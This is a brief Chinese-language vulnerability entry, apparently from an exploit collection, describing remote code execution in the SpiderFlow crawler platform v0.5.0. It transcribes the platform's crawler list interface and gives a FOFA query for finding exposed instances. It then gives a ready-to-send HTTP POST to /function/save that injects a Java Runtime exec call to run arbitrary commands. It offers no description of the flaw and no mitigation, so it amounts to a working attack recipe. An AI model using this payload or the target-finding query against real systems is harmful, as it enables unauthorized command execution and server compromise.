

S13-1SpiderFlow-爬虫平台-RCE

漏洞描述：

网站图片：

SpiderFlow平台v0.5.0

爬虫列表

全局变量

自定义函数

数据源管理

爬虫列表

爬虫名称

请输入爬虫名称

搜索

+ 添加爬虫

序号	爬虫名称	cron	定时/长任务	创建时间
1	全国大江大河实时水情_new	0 0 19 1/1 *	定时	2024-01-08 22:1
2	全国大江大河实时水情_new	0 0 18 1/1 *	长任务	2024-01-07 19:0
3	全国大江大河实时水情	0 0 19 1/1 *	定时	2024-01-06 23:1
4	全国大型水库实时水情	0 0 20 1/1 *	定时	2024-01-06 23:1
5	全国大型水库实时水情_new	0 0 20 1/1 *	定时	2024-01-04 21:0
6	2017海水水质监测信息	编辑cron	长任务	2023-12-30 12:1
7	2018海水水质监测信息	编辑cron	长任务	2023-12-30 12:1
8	2019海水水质监测信息	编辑cron	长任务	2023-12-29 21:0
9	2020海水水质监测信息	编辑cron	长任务	2023-12-29 21:0
10	2021海水水质监测信息	编辑cron	长任务	2023-12-29 21:0

<

1

2

>

到第

1

页

确定

共 12 条

10 条/页

▼

网络测绘：

fofa语法：

app="SpiderFlow"

漏洞复现：

payload:

```
POST /function/save HTTP/1.1
Host: your-ip
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('执行的命令')%3B%7B
```